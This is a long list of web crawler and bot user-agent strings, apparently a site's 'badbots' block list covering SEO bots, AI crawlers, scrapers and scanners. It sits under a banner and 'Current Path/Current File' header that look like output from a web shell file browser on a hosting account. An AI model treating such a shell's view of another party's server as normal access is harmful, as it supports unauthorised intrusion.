.=< { Star Gans Tq } >=.

Current Path : /home/m/e/h/meharicl/www/local/srore/tmp/
Current File : /home/m/e/h/meharicl/www/local/srore/tmp/badbots2.txt
Mozilla/5.0 (compatible; proximic; +http://www.proximic.com/info/spider.php)
SirdataBot
Clickagy Intelligence Bot v2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Mozilla/5.0 (compatible; Cliqzbot/1.0 +http://cliqz.com/company/cliqzbot)
Mozilla/5.0 (compatible; BomboraBot/1.0; +http://www.bombora.com/bot)
A6-Indexer/1.0 (http://www.a6corp.com/a6-web-scraping-policy/)
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)
Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)
Screaming Frog SEO Spider/9.2
CCBot/2.0 (http://commoncrawl.org/faq/)
YisouSpider
Mozilla/5.0 (compatible; Cliqzbot/1.0; +http://cliqz.com/company/cliqzbot)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://www.tropicdesigns.net)
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; 008/0.85; http://www.80legs.com/webcrawler.html) Gecko/2008032620
Mozilla/5.0 (compatible; URLAppendBot/1.0; +http://www.profound.net/urlappendbot.html)
ClaudeBot
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider
CCBot/2.0 (https://commoncrawl.org/faq/)
Mozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender)
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36
Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
acebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)
Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)
Mozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.268
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider
Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)
ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)
Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1
Buck/2.2; (+https://app.hypefactors.com/media-monitoring/about.html)
Mozilla/5.0 (compatible; linkdexbot/2.2; +http://www.linkdex.com/bots/)
Mozilla/5.0 (compatible;contxbot/1.0)
Mozilla/5.0 (compatible; proximic; +http://www.proximic.com)
facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Firefox/1.5.0.11; 360Spider
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; ) Firefox/1.5.0.11; 360Spider
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Firefox/1.5.0.11 360Spider
Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://mj12bot.com/)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help32.html)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.4 facebookexternalhit/1.1 Facebot Twitterbot/1.0
facebookexternalhit/1.1 (+http://www.facebook.com/externalhituatext.php)
BUbiNG (+http://law.di.unimi.it/BUbiNG.html)
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 YisouSpider/5.0 Safari/537.36
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot)
Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)
Mozilla/5.0 (compatible; MJ12bot/v1.4.4; http://www.majestic12.co.uk/bot.php+)
pyspider/0.3.7 (+http://pyspider.org/)
Mozilla/5.0 (compatible; spbot/5.0.3; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (compatible; SputnikBot/2.3; +http://corp.sputnik.ru/webmaster)
Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )
NerdyBot
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy)
Mozilla/5.0 (compatible; Cliqzbot/0.1 +http://cliqz.com/company/cliqzbot)
Opebot (http://www.1plusx.com)
Cliqzbot/0.1 (+http://cliqz.com/company/cliqzbot)
weborama-fetcher (+http://www.weborama.com)
http://www.msai.in/uaprof/micromax/X455.xml
Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/)
Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20140702-2247 +http://archive.org/details/archive.org_bot)
Scrapy/1.4.0 (+http://scrapy.org)
FeedBurner/1.0 (http://www.FeedBurner.com)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDR; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; Tablet PC 2.0); 360Spider
Typhoeus
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider
Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/)
Mozilla/5.0 (compatible; VoluumDSP-content-bot/2.0; +dsp-dev@codewise.com)
SafeSearch microdata crawler (https://safesearch.avira.com, safesearch-abuse@avira.com)
Mozilla/5.0 (compatible; BehloolBot/beta; +http://www.webeaver.com/bot)
Mozilla/5.0 (compatible; startmebot/1.0; +https://start.me/bot)
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; MicrosoftPreview/2.0; +https://aka.ms/MicrosoftPreview) Chrome/100.0.4896.127 Safari/537.36
mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) gecko/2008032620
ltx71
Mozilla/5.0 (compatible; DnyzBot/1.0)
Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +http://www.cloudflare.com/always-online) AppleWebKit/534.34
Screaming Frog SEO Spider/16.7
Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; Daum/4.1; +http://cs.daum.net/faq/15/4118.html?faqId=28966)
facebookexternalhit/1.0 (+http://www.facebook.com/externalhituatext.php)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 moatbot
Zoo Tycoon 2 Client -- http://www.zootycoon.com
facebookplatform/1.0 (+http://developers.facebook.com)
Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)
Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)
1st ZipCommander (Net)
Scrapy/1.5.0 (+https://scrapy.org)
BUbiNG (+http://law.di.unimi.it/BUbiNG.html#wc)
Mozilla/5.0 (compatible; epicbot; +http://www.epictions.com/epicbot)
The Expert HTML Source Viewer (http://www.expert-html.com)
endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)
http://www.msai.in/uaprof/micromax/X101.xml
Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)
JoBo/1.x (http://www.matuschek.net/jobo.html)
WebZIP/x.x (http://www.spidersoft.com)
TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8
Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )
Sosospider+(+http://help.soso.com/webspider.htm)
Xaldon WebSpider
Liferea/0.x.x (Linux; en_US.UTF-8; http://liferea.sf.net/)
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML like Gecko) MsnBot-Media /1.0b"
Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
Mozilla/5.0 (compatible; Sosospider/2.0; +http://help.soso.com/webspider.htm)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy)
SBL-BOT (http://sbl.net)
Mozilla/5.0 (compatible; Linux x8664; Mail.RUBot/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; YandexRCA/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)
WordChampBot
Mozilla/5.0 (compatible; Cloudflare-AMP/1.0; +https://amp.cloudflare.com/doc/fetcher.html) AppleWebKit/534.34
JoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html)
TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17
Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)
JOC Web Spider
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)
Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)
JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/)
JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot
MauiBot (crawler.feedback+wc@gmail.com)
Mozilla/5.0 (compatible; AhrefsBot/4.0; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)
Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://www.majestic12.co.uk/bot.php?+)
http://www.msai.in/uaprof/micromax/X1iExtra.xml
CCBot/2.0
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot
CRAZYWEBCRAWLER 0.9.1 http://www.crazywebcrawler.com
Mozilla/5.0 (compatible; spbot/4.1.0; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19 moatbot
CRAZYWEBCRAWLER 0.9.0 http://www.crazywebcrawler.com
Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
spider-ads
ZumBot/1.0 (ZUM Search; http://help.zum.com/inquiry)
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 QIHU 360SE; 360Spider
CRAZYWEBCRAWLER 0.9.2 http://www.crazywebcrawler.com
Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)
Mozilla/5.0 (compatible; SISTRIX Crawler; http://crawler.sistrix.net/)
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider
Mozilla/5.0 (compatible; SeekportBot; +https://bot.seekport.com)
WeSEE:Ads/PageBot (http://www.wesee.com/bot/)
Zing-BottaBot/1.0
Mozilla/5.0 (compatible; musobot/1.0; info@muso.com; +http://www.muso.com)
Mozilla/5.0 (compatible; archive.orgbot +http://www.archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; DnyzBot/1.0) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.167 Safari/537.36
Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)
ZoomBot (Linkbot 1.0 http://suite.seozoom.it/bot.html)
Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20140702-2247 +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.0; trendictionbot0.5.0; trendiction search; http://www.trendiction.de/bot; please let us know of any problems; web at trendiction.com) Gecko/20071127 Firefox/3.0.0.11
node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot
Gigabot/3.0 (http://www.gigablast.com/spider.html)
FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)
meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
ZoominfoBot (zoominfobot at zoominfo dot com)
Buck/2.3.2; (+https://app.hypefactors.com/media-monitoring/about.html)
HubSpot Links Crawler 1.0 http://www.hubspot.com
JS-Kit URL Resolver http://js-kit.com
Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)
Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)
Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)
LinkWalker/3.0 (http://www.brandprotect.com)
Scrapy/1.6.0 (+https://scrapy.org)
WeSEE:Search/0.1 (Alpha http://www.wesee.com/bot/)
CriteoBot/0.1 (+https://www.criteo.com/criteo-crawler/)
demandbase-bot/0.1 (http://www.demandbase.com; info@demandbase.com)
Mozilla/4.0 (vBSEO; http://www.vbseo.com)
Mozilla/5.0 (compatible; spbot/5.0.2; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
PEAR HTTPRequest class ( http://pear.php.net/ )
Mozilla/5.0 (compatible; Adsbot/3.1)
Mozilla/5.0 (YunSecurityBot/1.0) Gecko/20100101 Firefox/36.0
Mozilla/4.0 (compatible; HostTracker.com/1.0;+http://host-tracker.com/)
facebookscraper/1.0( http://www.facebook.com/sharescraperhelp.php)
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.2.2661.102 Safari/537.36; 360Spider
Mozilla/5.0(compatible; Sosospider/2.0; +http://help.soso.com/webspider.htm)
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +https://help.mail.ru/webmaster/indexing/robots)
CRAZYWEBCRAWLER 0.9.7 http://www.crazywebcrawler.com
Curly HTTP Client (https://github.com/m3dev/curly)
Mozilla/5.0 (compatible; SputnikBot/2.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0 ; Claritybot)
Mozilla/5.0 (compatible; Codewisebot/2.0; +http://www.nosite.com/somebot.htm)
Scrapy/1.0.3 (+http://scrapy.org)
AdsTxtCrawler/1.0; +https://github.com/InteractiveAdvertisingBureau/adstxtcrawler
Mozilla/5.0 (compatible; DnyzBot/1.0) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3264.0 Safari/537.36
linkapediabot (+http://www.linkapedia.com)
Yeti/1.1 (NHN Corp.; http://help.naver.com/robots/)
CheckHost (https://check-host.net/)
DemandbasePublisherAnalyzer/0.1 (http://www.demandbase.com; info@demandbase.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; SemrushBot/2~bl; +http://www.semrush.com/bot.html)
Scrapy/1.0.5 (+http://scrapy.org)
woobot/1.1
Mozilla/5.0 (compatible; MSIE or Firefox mutant; not on Windows server; + http://tab.search.daum.net/aboutWebSearch.html) Daumoa/3.0
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/0.0.5; +http://flipboard.com/browserproxy)
Barkrowler/0.7 (+http://www.exensa.com/crawl)
BomboraBot/1.0
Mozilla/5.0 (compatible; Embedly/0.2; +http://support.embed.ly/)
Mozilla/5.0 (compatible; specialarchiver/3.1.1 +http://www.archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; Wappalyzer; +https://github.com/AliasIO/Wappalyzer)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729; Diffbot/0.1; +http://www.diffbot.com)
Auto Spider 1.0
Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; +http://yandex.com/bots)
Parse Robot
SafeDNSBot (https://www.safedns.com/searchbot)
Mozilla/5.0 (compatible; ZumBot/1.0; http://help.zum.com/inquiry)
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
Screaming Frog SEO Spider/18.5
Buck/2.4.2; (+https://app.hypefactors.com/media-monitoring/about.html)
ContextAd Bot 1.0
Mozilla/5.0 (compatible; MJ12bot/v1.4.2; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; Mozilla/5.0 +http://ggol.co.uk)
Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)
Mozilla/5.0 (compatible; AmazonAdBot/1.0; +https://adbot.amazon.com)
Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com)
Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/bot)
Pinterest/0.1 +http://pinterest.com
ias-va/3.1 (+https://www.admantx.com/service-fetcher.html)
http://www.spreadtrum.com/wap/6600LDORADOUAProfile.xml
Mozilla/5.0 (compatible; 007ac9 Crawler; http://crawler.007ac9.net/)
Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)
Mozilla/5.0 (compatible; uCrawler/1.0 ; +https://blog.ucoz.ru/upolicy)
Mozilla/5.0 (compatible; YandexRenderResourcesBot/1.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)
Mozilla/5.0 (compatible; meanpathbot/1.0; +http://www.meanpath.com/meanpathbot.html)
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Mobile Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; ClaudeBot/1.0; +claudebot@anthropic.com)
Mozilla/5.0 (compatible; SemrushBot-BA; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)
Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Affectv Robot v1.0/Nutch-1.6 (http://www.affectv.co.uk; austin at affectv dot co dot uk)
Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share)
Pinterest/0.2 (+http://www.pinterest.com/)
PocketParser/2.0 (+https://getpocket.com/pocketparser_ua)
WeSEEBot:wehelpmonitizeyoursite (http://www.wesee.com/bot/)
Mozilla/5.0 (compatible; AhrefsBot/3.0; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/3.1; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot)
Mozilla/5.0 (compatible; YandexVideoParser/1.0; +http://yandex.com/bots)
SiteCheckerBotCrawler/1.0 (+http://sitechecker.pro)
heritrix/2.0.2 +http://www.adsafemedia.com
Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
Scrapy/1.7.3 (+https://scrapy.org)
spider
betasearch/Nutch-2.2.1 (Academic Beta Search; http://www.aramabeta.com; info@aramabeta.com)
iaarchiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)
Mozilla/5.0 (compatible; PaperLiBot/2.1; http://support.paper.li/entries/20023257-what-is-paper-li)
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36
Mozilla/5.0 (compatible; heritrix/3.1.2-SNAPSHOT-20131029-0036 +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)
SocialRankIOBot; http://socialrank.io/about
Mozilla/5.0 (compatible; Butterfly/1.0; +http://labs.topsy.com/butterfly/) Gecko/2009032608 Firefox/3.0.8
Mozilla/5.0 (compatible; TweetmemeBot/3.0; +http://tweetmeme.com/)
woobot/2.0
Mozilla/5.0 (compatible; AhrefsBot/2.0; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; spbot/5.0; +http://OpenLinkProfiler.org/bot )
WeSEE:Search/0.1 (Alpha http://www.wesee.com/en/support/bot/)
Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/)
Mozilla/5.0 (compatible; SEOkicks-Robot; +http://www.seokicks.de/robot.html)
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 SWIMGBot
TelegramBot (like TwitterBot)
Linguee Bot (http://www.linguee.com/bot; bot@linguee.com)
Mozilla/5.0 (compatible; AskPeterBot; +http://www.askpeter.info/bot.html)
Mozilla/5.0 (compatible; Linespider/1.1; +https://lin.ee/4dwXkTH)
Mozilla/5.0 (compatible; spbot/4.0.7; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (compatible; YandexDirect/3.0; +http://yandex.com/bots)
Scrapy/0.16.5 (+http://scrapy.org)
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Fast/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; special_archiver/3.1.1 +http://www.archive.org/details/archive.org_bot)
Mozilla/5.0 (compatible; SputnikBot/2.2)
Mozilla/5.0 (Windows NT 6.3;compatible; Leikibot/1.0; +http://www.leiki.com)
admantx-usastn/2.4 (+http://www.admantx.com/service-fetcher.html)
Mozilla/5.0 (compatible; OrangeBot/2.0; support.orangebot@orange.com)
Mozilla/5.0 (compatible; spbot/4.0.6; +http://www.seoprofiler.com/bot )
QuerySeekerSpider ( http://queryseeker.com/bot.html )
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http://www.crystalsemantics.com/service-navigation/imprint/useragent/)
Mozilla/5.0 (compatible; SemrushBot/1.0~bm; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; spbot/3.1; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; spbot/4.0.4; +http://www.seoprofiler.com/bot )
Riddler (http://riddler.io/about)
Mozilla/5.0 (compatible; SemrushBot/1.1~bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; spbot/4.3.0; +http://OpenLinkProfiler.org/bot )
StartmeBot/1.0 (+https://start.me/bot)
coccoc/1.0 (http://help.coccoc.vn/)
JoBo/@JOBOVERSION@(http://www.matuschek.net/jobo.html)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; http://www.tropicdesigns.net)
Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/searchengine)
Mozilla/5.0 (compatible; spbot/5.0.1; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (compatible; uMBot-LN/1.0; mailto: crawling@ubermetrics-technologies.com)
Scrapy/1.5.1 (+https://scrapy.org)
admantx-ussy02/2.4 (+http://www.admantx.com/service-fetcher.html)
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Mobile Safari/537.36
Mozilla/5.0+(compatible;+PiplBot;+http://www.pipl.com/bot/)
admantx-adform/3.0 (+http://www.admantx.com/service-fetcher.html)
admantx-ussy02/2.5 (+http://www.admantx.com/service-fetcher.html)
admantx-ussy02/3.0 (+http://www.admantx.com/service-fetcher.html)
bidswitchbot/1.0
CheckHost (http://check-host.net/)
DoCoMo/2.0 P900i(c100;TB;W24H11) (compatible; ichiro/mobile goo;+http://search.goo.ne.jp/option/use/sub4/sub4-1/)
http://Anonymouse.org/ (Unix)
Mozilla/5.0 (compatible; Go-http-client/1.1; +centurybot9@gmail.com)
Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
Mozilla/5.0 (compatible; SemrushBot-SI/0.97; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; ToutiaoSpider/1.0; http://web.toutiao.com/media_cooperation/;)
Mozilla/5.0 (keys-so-bot)
Mozilla/5.0 (Windows NT 6.2) Insitesbot/1.0
Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)
tbot-nutch/Nutch-1.10
colly
CoralWebPrx/0.1.20 (See http://coralcdn.org/)
CRAZYWEBCRAWLER 0.9.4 http://www.crazywebcrawler.com
MagpieRSS/0.72 (+http://magpierss.sf.net)
Mozilla/5.0 (compatible; MJ12bot/v1.4.1; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; spbot/4.0.9; +http://OpenLinkProfiler.org/bot )
semanticbot (info@semanticaudience.com)
WCH Web Spider
(Adsense Bot Banned Click advertising Adsense
CERT FigleafBot/0.1 (www.cert.org)
CRAZYWEBCRAWLER 0.9.10, http://www.crazywebcrawler.com
Experibot_v1 [goo.gl/n6zrAf]
HTTP_Request2/2.2.1 (http://pear.php.net/package/http_request2) PHP/5.4.16
JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omeareader/)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1 + FairShare-http://fairshare.cc)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http://www.crystalsemantics.com/user-agent/)
Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
Mozilla/5.0 (compatible; SiteExplorer/1.0b; +http://siteexplorer.info/)
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.119 Mobile Safari/537.36
Twitterbot/1.0
admantx-euastn/2.4 (+http://www.admantx.com/service-fetcher.html)
